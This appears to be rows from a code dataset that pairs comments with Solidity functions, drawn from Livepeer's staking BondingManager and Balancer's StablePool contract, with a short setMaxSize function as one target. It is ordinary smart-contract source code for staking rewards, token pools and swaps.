* @return transcoder pool max size
*/
function getTranscoderPoolMaxSize() public view returns (uint256) {
return transcoderPoolV2.getMaxSize();
}
/**
* @notice Returns size of transcoder pool
* @return transcoder pool current size
*/
function getTranscoderPoolSize() public view returns (uint256) {
return transcoderPoolV2.getSize();
}
/**
* @notice Returns transcoder with most stake in pool
* @return address for transcoder with highest stake in transcoder pool
*/
function getFirstTranscoderInPool() public view returns (address) {
return transcoderPoolV2.getFirst();
}
/**
* @notice Returns next transcoder in pool for a given transcoder
* @param _transcoder Address of a transcoder in the pool
* @return address for the transcoder after '_transcoder' in transcoder pool
*/
function getNextTranscoderInPool(address _transcoder) public view returns (address) {
return transcoderPoolV2.getNext(_transcoder);
}
/**
* @notice Return total bonded tokens
* @return total active stake for the current round
*/
function getTotalBonded() public view returns (uint256) {
return currentRoundTotalActiveStake;
}
/**
* @notice Return whether a transcoder is active for the current round
* @param _transcoder Transcoder address
* @return true if transcoder is active
*/
function isActiveTranscoder(address _transcoder) public view returns (bool) {
Transcoder storage t = transcoders[_transcoder];
uint256 currentRound = roundsManager().currentRound();
return t.activationRound <= currentRound && currentRound < t.deactivationRound;
}
/**
* @notice Return whether a transcoder is registered
* @param _transcoder Transcoder address
* @return true if transcoder is self-bonded
*/
function isRegisteredTranscoder(address _transcoder) public view returns (bool) {
Delegator storage d = delegators[_transcoder];
return d.delegateAddress == _transcoder && d.bondedAmount > 0;
}
/**
* @notice Return whether an unbonding lock for a delegator is valid
* @param _delegator Address of delegator
* @param _unbondingLockId ID of unbonding lock
* @return true if unbondingLock for ID has a non-zero withdraw round
*/
function isValidUnbondingLock(address _delegator, uint256 _unbondingLockId) public view returns (bool) {
// A unbonding lock is only valid if it has a non-zero withdraw round (the default value is zero)
return delegators[_delegator].unbondingLocks[_unbondingLockId].withdrawRound > 0;
}
/**
* @notice Return an EarningsPool.Data struct with the latest cumulative factors for a given round
* @param _transcoder Storage pointer to a transcoder struct
* @param _round The round to fetch the latest cumulative factors for
* @return pool An EarningsPool.Data populated with the latest cumulative factors for _round
*/
function latestCumulativeFactorsPool(Transcoder storage _transcoder, uint256 _round) internal view returns (EarningsPool.Data memory pool) {
pool.cumulativeRewardFactor = _transcoder.earningsPoolPerRound[_round].cumulativeRewardFactor;
pool.cumulativeFeeFactor = _transcoder.earningsPoolPerRound[_round].cumulativeFeeFactor;
uint256 lastRewardRound = _transcoder.lastRewardRound;
// Only use the cumulativeRewardFactor for lastRewardRound if lastRewardRound is before _round
if (pool.cumulativeRewardFactor == 0 && lastRewardRound < _round) {
pool.cumulativeRewardFactor = _transcoder.earningsPoolPerRound[lastRewardRound].cumulativeRewardFactor;
}
uint256 lastFeeRound = _transcoder.lastFeeRound;
// Only use the cumulativeFeeFactor for lastFeeRound if lastFeeRound is before _round
if (pool.cumulativeFeeFactor == 0 && lastFeeRound < _round) {
pool.cumulativeFeeFactor = _transcoder.earningsPoolPerRound[lastFeeRound].cumulativeFeeFactor;
}
return pool;
}
/**
* @notice Return a delegator's cumulative stake and fees using the LIP-36 earnings claiming algorithm
* @param _transcoder Storage pointer to a transcoder struct for a delegator's delegate
* @param _startRound The round for the start cumulative factors
* @param _endRound The round for the end cumulative factors
* @param _stake The delegator's initial stake before including earned rewards
* @param _fees The delegator's initial fees before including earned fees
* @return (cStake, cFees) where cStake is the delegator's cumulative stake including earned rewards and cFees is the delegator's cumulative fees including earned fees
*/
function delegatorCumulativeStakeAndFees(
Transcoder storage _transcoder,
uint256 _startRound,
uint256 _endRound,
uint256 _stake,
uint256 _fees
)
internal
view
returns (uint256 cStake, uint256 cFees)
{
uint256 baseRewardFactor = MathUtils.percPoints(1, 1);
// Fetch start cumulative factors
EarningsPool.Data memory startPool;
startPool.cumulativeRewardFactor = _transcoder.earningsPoolPerRound[_startRound].cumulativeRewardFactor;
startPool.cumulativeFeeFactor = _transcoder.earningsPoolPerRound[_startRound].cumulativeFeeFactor;
if (startPool.cumulativeRewardFactor == 0) {
startPool.cumulativeRewardFactor = baseRewardFactor;
}
// Fetch end cumulative factors
EarningsPool.Data memory endPool = latestCumulativeFactorsPool(_transcoder, _endRound);
if (endPool.cumulativeRewardFactor == 0) {
endPool.cumulativeRewardFactor = baseRewardFactor;
}
cFees = _fees.add(
MathUtils.percOf(
_stake,
endPool.cumulativeFeeFactor.sub(startPool.cumulativeFeeFactor),
startPool.cumulativeRewardFactor
)
);
cStake = MathUtils.percOf(
_stake,
endPool.cumulativeRewardFactor,
startPool.cumulativeRewardFactor
);
return (cStake, cFees);
}
/**
* @notice Return the pending stake and fees for a delegator
* @param _delegator Address of a delegator
* @param _endRound The last round to claim earnings for when calculating the pending stake and fees
* @return (stake, fees) where stake is the delegator's pending stake and fees is the delegator's pending fees
*/
function pendingStakeAndFees(address _delegator, uint256 _endRound) internal view returns (uint256 stake, uint256 fees) {
Delegator storage del = delegators[_delegator];
Transcoder storage t = transcoders[del.delegateAddress];
fees = del.fees;
stake = del.bondedAmount;
uint256 startRound = del.lastClaimRound.add(1);
address delegateAddr = del.delegateAddress;
bool isTranscoder = _delegator == delegateAddr;
uint256 lip36Round = roundsManager().lipUpgradeRound(36);
while (startRound <= _endRound && startRound <= lip36Round) {
EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[startRound];
// If earningsPool.hasTranscoderRewardFeePool is not set during lip36Round then the transcoder did not call
// reward during lip36Round before the upgrade. In this case, if the transcoder calls reward in lip36Round
// the delegator can use the LIP-36 earnings claiming algorithm to claim for lip36Round
if (startRound == lip36Round && !earningsPool.hasTranscoderRewardFeePool) {
break;
}
if (earningsPool.hasClaimableShares()) {
// Calculate and add fee pool share from this round
fees = fees.add(earningsPool.feePoolShare(stake, isTranscoder));
// Calculate new bonded amount with rewards from this round. Updated bonded amount used
// to calculate fee pool share in next round
stake = stake.add(earningsPool.rewardPoolShare(stake, isTranscoder));
}
startRound = startRound.add(1);
}
// If the transcoder called reward during lip36Round the upgrade, then startRound = lip36Round
// Otherwise, startRound = lip36Round + 1
// If the start round is greater than the end round, we've already claimed for the end round so we do not
// need to execute the LIP-36 earnings claiming algorithm. This could be the case if:
// - _endRound < lip36Round i.e. we are not claiming through the lip36Round
// - _endRound == lip36Round AND startRound = lip36Round + 1 i.e we already claimed through the lip36Round
if (startRound > _endRound) {
return (stake, fees);
}
// The LIP-36 earnings claiming algorithm uses the cumulative factors from the delegator's lastClaimRound i.e. startRound - 1
// and from the specified _endRound
(
stake,
fees
) = delegatorCumulativeStakeAndFees(t, startRound.sub(1), _endRound, stake, fees);
if (isTranscoder) {
stake = stake.add(t.cumulativeRewards);
fees = fees.add(t.cumulativeFees);
}
return (stake, fees);
}
/**
* @dev Increase the total stake for a delegate and updates its 'lastActiveStakeUpdateRound'
* @param _delegate The delegate to increase the stake for
* @param _amount The amount to increase the stake for '_delegate' by
*/
function increaseTotalStake(address _delegate, uint256 _amount, address _newPosPrev, address _newPosNext) internal {
if (isRegisteredTranscoder(_delegate)) {
uint256 currStake = transcoderTotalStake(_delegate);
uint256 newStake = currStake.add(_amount);
uint256 currRound = roundsManager().currentRound();
uint256 nextRound = currRound.add(1);
// If the transcoder is already in the active set update its stake and return
if (transcoderPoolV2.contains(_delegate)) {
transcoderPoolV2.updateKey(_delegate, newStake, _newPosPrev, _newPosNext);
nextRoundTotalActiveStake = nextRoundTotalActiveStake.add(_amount);
Transcoder storage t = transcoders[_delegate];
// currStake (the transcoder's delegatedAmount field) will reflect the transcoder's stake from lastActiveStakeUpdateRound
// because it is updated every time lastActiveStakeUpdateRound is updated
// The current active total stake is set to currStake to ensure that the value can be used in updateTranscoderWithRewards()
// and updateTranscoderWithFees() when lastActiveStakeUpdateRound > currentRound
if (t.lastActiveStakeUpdateRound < currRound) {
t.earningsPoolPerRound[currRound].setStake(currStake);
}
t.earningsPoolPerRound[nextRound].setStake(newStake);
t.lastActiveStakeUpdateRound = nextRound;
} else {
// Check if the transcoder is eligible to join the active set in the update round
tryToJoinActiveSet(_delegate, newStake, nextRound, _newPosPrev, _newPosNext);
}
}
// Increase delegate's delegated amount
delegators[_delegate].delegatedAmount = delegators[_delegate].delegatedAmount.add(_amount);
}
/**
* @dev Decrease the total stake for a delegate and updates its 'lastActiveStakeUpdateRound'
* @param _delegate The transcoder to decrease the stake for
* @param _amount The amount to decrease the stake for '_delegate' by
*/
function decreaseTotalStake(address _delegate, uint256 _amount, address _newPosPrev, address _newPosNext) internal {
if (transcoderPoolV2.contains(_delegate)) {
uint256 currStake = transcoderTotalStake(_delegate);
uint256 newStake = currStake.sub(_amount);
uint256 currRound = roundsManager().currentRound();
uint256 nextRound = currRound.add(1);
transcoderPoolV2.updateKey(_delegate, newStake, _newPosPrev, _newPosNext);
nextRoundTotalActiveStake = nextRoundTotalActiveStake.sub(_amount);
Transcoder storage t = transcoders[_delegate];
// currStake (the transcoder's delegatedAmount field) will reflect the transcoder's stake from lastActiveStakeUpdateRound
// because it is updated every time lastActiveStakeUpdateRound is updated
// The current active total stake is set to currStake to ensure that the value can be used in updateTranscoderWithRewards()
// and updateTranscoderWithFees() when lastActiveStakeUpdateRound > currentRound
if (t.lastActiveStakeUpdateRound < currRound) {
t.earningsPoolPerRound[currRound].setStake(currStake);
}
t.lastActiveStakeUpdateRound = nextRound;
t.earningsPoolPerRound[nextRound].setStake(newStake);
}
// Decrease old delegate's delegated amount
delegators[_delegate].delegatedAmount = delegators[_delegate].delegatedAmount.sub(_amount);
}
/**
* @dev Tries to add a transcoder to active transcoder pool, evicts the active transcoder with the lowest stake if the pool is full
* @param _transcoder The transcoder to insert into the transcoder pool
* @param _totalStake The total stake for '_transcoder'
* @param _activationRound The round in which the transcoder should become active
*/
function tryToJoinActiveSet(
address _transcoder,
uint256 _totalStake,
uint256 _activationRound,
address _newPosPrev,
address _newPosNext
)
internal
{
uint256 pendingNextRoundTotalActiveStake = nextRoundTotalActiveStake;
if (transcoderPoolV2.isFull()) {
address lastTranscoder = transcoderPoolV2.getLast();
uint256 lastStake = transcoderTotalStake(lastTranscoder);
// If the pool is full and the transcoder has less stake than the least stake transcoder in the pool
// then the transcoder is unable to join the active set for the next round
if (_totalStake <= lastStake) {
return;
}
// Evict the least stake transcoder from the active set for the next round
// Not zeroing 'Transcoder.lastActiveStakeUpdateRound' saves gas (5k when transcoder is evicted and 20k when transcoder is reinserted)
// There should be no side-effects as long as the value is properly updated on stake updates
// Not zeroing the stake on the current round's 'EarningsPool' saves gas and should have no side effects as long as
// 'EarningsPool.setStake()' is called whenever a transcoder becomes active again.
transcoderPoolV2.remove(lastTranscoder);
transcoders[lastTranscoder].deactivationRound = _activationRound;
pendingNextRoundTotalActiveStake = pendingNextRoundTotalActiveStake.sub(lastStake);
emit TranscoderDeactivated(lastTranscoder, _activationRound);
}
transcoderPoolV2.insert(_transcoder, _totalStake, _newPosPrev, _newPosNext);
pendingNextRoundTotalActiveStake = pendingNextRoundTotalActiveStake.add(_totalStake);
Transcoder storage t = transcoders[_transcoder];
t.lastActiveStakeUpdateRound = _activationRound;
t.activationRound = _activationRound;
t.deactivationRound = MAX_FUTURE_ROUND;
t.earningsPoolPerRound[_activationRound].setStake(_totalStake);
nextRoundTotalActiveStake = pendingNextRoundTotalActiveStake;
emit TranscoderActivated(_transcoder, _activationRound);
}
/**
* @dev Remove a transcoder from the pool and deactivate it
*/
function resignTranscoder(address _transcoder) internal {
// Not zeroing 'Transcoder.lastActiveStakeUpdateRound' saves gas (5k when transcoder is evicted and 20k when transcoder is reinserted)
// There should be no side-effects as long as the value is properly updated on stake updates
// Not zeroing the stake on the current round's 'EarningsPool' saves gas and should have no side effects as long as
// 'EarningsPool.setStake()' is called whenever a transcoder becomes active again.
transcoderPoolV2.remove(_transcoder);
nextRoundTotalActiveStake = nextRoundTotalActiveStake.sub(transcoderTotalStake(_transcoder));
uint256 deactivationRound = roundsManager().currentRound().add(1);
transcoders[_transcoder].deactivationRound = deactivationRound;
emit TranscoderDeactivated(_transcoder, deactivationRound);
}
/**
* @dev Update a transcoder with rewards and update the transcoder pool with an optional list hint if needed.
* See SortedDoublyLL.sol for details on list hints
* @param _transcoder Address of transcoder
* @param _rewards Amount of rewards
* @param _round Round that transcoder is updated
* @param _newPosPrev Address of previous transcoder in pool if the transcoder is in the pool
* @param _newPosNext Address of next transcoder in pool if the transcoder is in the pool
*/
function updateTranscoderWithRewards(
address _transcoder,
uint256 _rewards,
uint256 _round,
address _newPosPrev,
address _newPosNext
)
internal
{
Transcoder storage t = transcoders[_transcoder];
EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[_round];
EarningsPool.Data storage prevEarningsPool = t.earningsPoolPerRound[t.lastRewardRound];
t.activeCumulativeRewards = t.cumulativeRewards;
uint256 transcoderCommissionRewards = MathUtils.percOf(_rewards, earningsPool.transcoderRewardCut);
uint256 delegatorsRewards = _rewards.sub(transcoderCommissionRewards);
// Calculate the rewards earned by the transcoder's earned rewards
uint256 transcoderRewardStakeRewards = MathUtils.percOf(delegatorsRewards, t.activeCumulativeRewards, earningsPool.totalStake);
// Track rewards earned by the transcoder based on its earned rewards and rewardCut
t.cumulativeRewards = t.cumulativeRewards.add(transcoderRewardStakeRewards).add(transcoderCommissionRewards);
// Update cumulative reward factor with new rewards
// The cumulativeRewardFactor is used to calculate rewards for all delegators including the transcoder (self-delegated)
// Note that delegatorsRewards includes transcoderRewardStakeRewards, but no delegator will claim that amount using
// the earnings claiming algorithm and instead that amount is accounted for in the transcoder's cumulativeRewards field
earningsPool.updateCumulativeRewardFactor(prevEarningsPool, delegatorsRewards);
// Update transcoder's total stake with rewards
increaseTotalStake(_transcoder, _rewards, _newPosPrev, _newPosNext);
}
/**
* @dev Update a delegator with token pools shares from its lastClaimRound through a given round
* @param _delegator Delegator address
* @param _endRound The last round for which to update a delegator's stake with earnings pool shares
* @param _lastClaimRound The round for which a delegator has last claimed earnings
*/
function updateDelegatorWithEarnings(address _delegator, uint256 _endRound, uint256 _lastClaimRound) internal {
Delegator storage del = delegators[_delegator];
uint256 startRound = _lastClaimRound.add(1);
uint256 currentBondedAmount = del.bondedAmount;
uint256 currentFees = del.fees;
uint256 lip36Round = roundsManager().lipUpgradeRound(36);
// Only will have earnings to claim if you have a delegate
// If not delegated, skip the earnings claim process
if (del.delegateAddress != address(0)) {
if (startRound <= lip36Round) {
// Cannot claim earnings for more than maxEarningsClaimsRounds before LIP-36
// This is a number to cause transactions to fail early if
// we know they will require too much gas to loop through all the necessary rounds to claim earnings
// The user should instead manually invoke `claimEarnings` to split up the claiming process
// across multiple transactions
uint256 endLoopRound = _endRound <= lip36Round ? _endRound : lip36Round;
require(endLoopRound.sub(_lastClaimRound) <= maxEarningsClaimsRounds, "too many rounds to claim through");
}
(
currentBondedAmount,
currentFees
) = pendingStakeAndFees(_delegator, _endRound);
// Check whether the endEarningsPool is initialised
// If it is not initialised set it's cumulative factors so that they can be used when a delegator
// next claims earnings as the start cumulative factors (see delegatorCumulativeStakeAndFees())
Transcoder storage t = transcoders[del.delegateAddress];
EarningsPool.Data storage endEarningsPool = t.earningsPoolPerRound[_endRound];
if (endEarningsPool.cumulativeRewardFactor == 0) {
endEarningsPool.cumulativeRewardFactor = t.earningsPoolPerRound[t.lastRewardRound].cumulativeRewardFactor;
}
if (endEarningsPool.cumulativeFeeFactor == 0) {
endEarningsPool.cumulativeFeeFactor = t.earningsPoolPerRound[t.lastFeeRound].cumulativeFeeFactor;
}
if (del.delegateAddress == _delegator) {
t.cumulativeFees = 0;
t.cumulativeRewards = 0;
// activeCumulativeRewards is not cleared here because the next reward() call will set it to cumulativeRewards
}
}
emit EarningsClaimed(
del.delegateAddress,
_delegator,
currentBondedAmount.sub(del.bondedAmount),
currentFees.sub(del.fees),
startRound,
_endRound
);
del.lastClaimRound = _endRound;
// Rewards are bonded by default
del.bondedAmount = currentBondedAmount;
del.fees = currentFees;
}
/**
* @dev Update the state of a delegator and its delegate by processing a rebond using an unbonding lock and update the transcoder pool with an optional
* list hint if needed. See SortedDoublyLL.sol for details on list hints
* @param _delegator Address of delegator
* @param _unbondingLockId ID of unbonding lock to rebond with
* @param _newPosPrev Address of previous transcoder in pool if the delegate is already in or joins the pool
* @param _newPosNext Address of next transcoder in pool if the delegate is already in or joins the pool
*/
function processRebond(address _delegator, uint256 _unbondingLockId, address _newPosPrev, address _newPosNext) internal {
Delegator storage del = delegators[_delegator];
UnbondingLock storage lock = del.unbondingLocks[_unbondingLockId];
require(isValidUnbondingLock(_delegator, _unbondingLockId), "invalid unbonding lock ID");
uint256 amount = lock.amount;
// Increase delegator's bonded amount
del.bondedAmount = del.bondedAmount.add(amount);
// Delete lock
delete del.unbondingLocks[_unbondingLockId];
increaseTotalStake(del.delegateAddress, amount, _newPosPrev, _newPosNext);
emit Rebond(del.delegateAddress, _delegator, _unbondingLockId, amount);
}
/**
* @dev Return LivepeerToken interface
* @return Livepeer token contract registered with Controller
*/
function livepeerToken() internal view returns (ILivepeerToken) {
return ILivepeerToken(controller.getContract(keccak256("LivepeerToken")));
}
/**
* @dev Return Minter interface
* @return Minter contract registered with Controller
*/
function minter() internal view returns (IMinter) {
return IMinter(controller.getContract(keccak256("Minter")));
}
/**
* @dev Return RoundsManager interface
* @return RoundsManager contract registered with Controller
*/
function roundsManager() internal view returns (IRoundsManager) {
return IRoundsManager(controller.getContract(keccak256("RoundsManager")));
}
} | Set the maximum size of the list _size Maximum size/ | function setMaxSize(Data storage self, uint256 _size) public {
require(_size > self.maxSize, "new max size must be greater than old max size");
self.maxSize = _size;
}
| 1,112,340 |
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol";
import "@balancer-labs/v2-pool-utils/contracts/BaseGeneralPool.sol";
import "@balancer-labs/v2-pool-utils/contracts/BaseMinimalSwapInfoPool.sol";
import "./StableMath.sol";
import "./StablePoolUserDataHelpers.sol";
contract StablePool is BaseGeneralPool, BaseMinimalSwapInfoPool, StableMath {
using FixedPoint for uint256;
using StablePoolUserDataHelpers for bytes;
using WordCodec for bytes32;
// This contract uses timestamps to slowly update its Amplification parameter over time. These changes must occur
// over a minimum time period much larger than the blocktime, making timestamp manipulation a non-issue.
// solhint-disable not-rely-on-time
// Amplification factor changes must happen over a minimum period of one day, and can at most divide or multiple the
// current value by 2 every day.
// WARNING: this only limits *a single* amplification change to have a maximum rate of change of twice the original
// value daily. It is possible to perform multiple amplification changes in sequence to increase this value more
// rapidly: for example, by doubling the value every day it can increase by a factor of 8 over three days (2^3).
uint256 private constant _MIN_UPDATE_TIME = 1 days;
uint256 private constant _MAX_AMP_UPDATE_DAILY_RATE = 2;
bytes32 private _packedAmplificationData;
event AmpUpdateStarted(uint256 startValue, uint256 endValue, uint256 startTime, uint256 endTime);
event AmpUpdateStopped(uint256 currentValue);
// To track how many tokens are owed to the Vault as protocol fees, we measure and store the value of the invariant
// after every join and exit. All invariant growth that happens between join and exit events is due to swap fees.
uint256 private _lastInvariant;
// Because the invariant depends on the amplification parameter, and this value may change over time, we should only
// compare invariants that were computed using the same value. We therefore store it whenever we store
// _lastInvariant.
uint256 private _lastInvariantAmp;
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
uint256 amplificationParameter,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
BasePool(
vault,
// Because we're inheriting from both BaseGeneralPool and BaseMinimalSwapInfoPool we can choose any
// specialization setting. Since this Pool never registers or deregisters any tokens after construction,
// picking Two Token when the Pool only has two tokens is free gas savings.
tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.GENERAL,
name,
symbol,
tokens,
new address[](tokens.length),
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
_require(tokens.length <= _MAX_STABLE_TOKENS, Errors.MAX_STABLE_TOKENS);
_require(amplificationParameter >= _MIN_AMP, Errors.MIN_AMP);
_require(amplificationParameter <= _MAX_AMP, Errors.MAX_AMP);
uint256 initialAmp = Math.mul(amplificationParameter, _AMP_PRECISION);
_setAmplificationData(initialAmp);
}
// Base Pool handlers
// Swap - General Pool specialization (from BaseGeneralPool)
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) internal view virtual override whenNotPaused returns (uint256) {
(uint256 currentAmp, ) = _getAmplificationParameter();
uint256 amountOut = StableMath._calcOutGivenIn(currentAmp, balances, indexIn, indexOut, swapRequest.amount);
return amountOut;
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) internal view virtual override whenNotPaused returns (uint256) {
(uint256 currentAmp, ) = _getAmplificationParameter();
uint256 amountIn = StableMath._calcInGivenOut(currentAmp, balances, indexIn, indexOut, swapRequest.amount);
return amountIn;
}
// Swap - Two Token Pool specialization (from BaseMinimalSwapInfoPool)
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual override returns (uint256) {
_require(_getTotalTokens() == 2, Errors.NOT_TWO_TOKENS);
(uint256[] memory balances, uint256 indexIn, uint256 indexOut) = _getSwapBalanceArrays(
swapRequest,
balanceTokenIn,
balanceTokenOut
);
return _onSwapGivenIn(swapRequest, balances, indexIn, indexOut);
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual override returns (uint256) {
_require(_getTotalTokens() == 2, Errors.NOT_TWO_TOKENS);
(uint256[] memory balances, uint256 indexIn, uint256 indexOut) = _getSwapBalanceArrays(
swapRequest,
balanceTokenIn,
balanceTokenOut
);
return _onSwapGivenOut(swapRequest, balances, indexIn, indexOut);
}
function _getSwapBalanceArrays(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
)
private
view
returns (
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
)
{
balances = new uint256[](2);
if (_token0 == swapRequest.tokenIn) {
indexIn = 0;
indexOut = 1;
balances[0] = balanceTokenIn;
balances[1] = balanceTokenOut;
} else {
// _token0 == swapRequest.tokenOut
indexOut = 0;
indexIn = 1;
balances[0] = balanceTokenOut;
balances[1] = balanceTokenIn;
}
}
// Initialize
function _onInitializePool(
bytes32,
address,
address,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual override whenNotPaused returns (uint256, uint256[] memory) {
// It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent
// initialization in this case.
StablePool.JoinKind kind = userData.joinKind();
_require(kind == StablePool.JoinKind.INIT, Errors.UNINITIALIZED);
uint256[] memory amountsIn = userData.initialAmountsIn();
InputHelpers.ensureInputLengthMatch(amountsIn.length, _getTotalTokens());
_upscaleArray(amountsIn, scalingFactors);
(uint256 currentAmp, ) = _getAmplificationParameter();
uint256 invariantAfterJoin = StableMath._calculateInvariant(currentAmp, amountsIn, true);
// Set the initial BPT to the value of the invariant.
uint256 bptAmountOut = invariantAfterJoin;
_updateLastInvariant(invariantAfterJoin, currentAmp);
return (bptAmountOut, amountsIn);
}
// Join
function _onJoinPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
whenNotPaused
returns (
uint256,
uint256[] memory,
uint256[] memory
)
{
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join
// or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas to
// calculate the fee amounts during each individual swap.
uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(balances, protocolSwapFeePercentage);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
(uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, scalingFactors, userData);
// Update the invariant with the balances the Pool will have after the join, in order to compute the
// protocol swap fee amounts due in future joins and exits.
_updateInvariantAfterJoin(balances, amountsIn);
return (bptAmountOut, amountsIn, dueProtocolFeeAmounts);
}
function _doJoin(
uint256[] memory balances,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
JoinKind kind = userData.joinKind();
if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) {
return _joinExactTokensInForBPTOut(balances, scalingFactors, userData);
} else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) {
return _joinTokenInForExactBPTOut(balances, userData);
} else {
_revert(Errors.UNHANDLED_JOIN_KIND);
}
}
function _joinExactTokensInForBPTOut(
uint256[] memory balances,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
(uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, scalingFactors);
(uint256 currentAmp, ) = _getAmplificationParameter();
uint256 bptAmountOut = StableMath._calcBptOutGivenExactTokensIn(
currentAmp,
balances,
amountsIn,
totalSupply(),
_swapFeePercentage
);
_require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT);
return (bptAmountOut, amountsIn);
}
function _joinTokenInForExactBPTOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
(uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut();
// Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
uint256[] memory amountsIn = new uint256[](_getTotalTokens());
(uint256 currentAmp, ) = _getAmplificationParameter();
amountsIn[tokenIndex] = StableMath._calcTokenInGivenExactBptOut(
currentAmp,
balances,
tokenIndex,
bptAmountOut,
totalSupply(),
_swapFeePercentage
);
return (bptAmountOut, amountsIn);
}
// Exit
function _onExitPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
)
{
// Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens
// out) remain functional.
if (_isNotPaused()) {
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous
// join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids
// spending gas calculating fee amounts during each individual swap
dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(balances, protocolSwapFeePercentage);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
} else {
// If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and
// reduce the potential for errors.
dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
}
(bptAmountIn, amountsOut) = _doExit(balances, scalingFactors, userData);
// Update the invariant with the balances the Pool will have after the exit, in order to compute the
// protocol swap fee amounts due in future joins and exits.
_updateInvariantAfterExit(balances, amountsOut);
return (bptAmountIn, amountsOut, dueProtocolFeeAmounts);
}
function _doExit(
uint256[] memory balances,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
ExitKind kind = userData.exitKind();
if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) {
return _exitExactBPTInForTokenOut(balances, userData);
} else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) {
return _exitExactBPTInForTokensOut(balances, userData);
} else {
// ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT
return _exitBPTInForExactTokensOut(balances, scalingFactors, userData);
}
}
function _exitExactBPTInForTokenOut(uint256[] memory balances, bytes memory userData)
private
view
whenNotPaused
returns (uint256, uint256[] memory)
{
// This exit function is disabled if the contract is paused.
(uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
// We exit in a single token, so initialize amountsOut with zeros
uint256[] memory amountsOut = new uint256[](_getTotalTokens());
// And then assign the result to the selected token
(uint256 currentAmp, ) = _getAmplificationParameter();
amountsOut[tokenIndex] = StableMath._calcTokenOutGivenExactBptIn(
currentAmp,
balances,
tokenIndex,
bptAmountIn,
totalSupply(),
_swapFeePercentage
);
return (bptAmountIn, amountsOut);
}
function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
// This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted
// in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency.
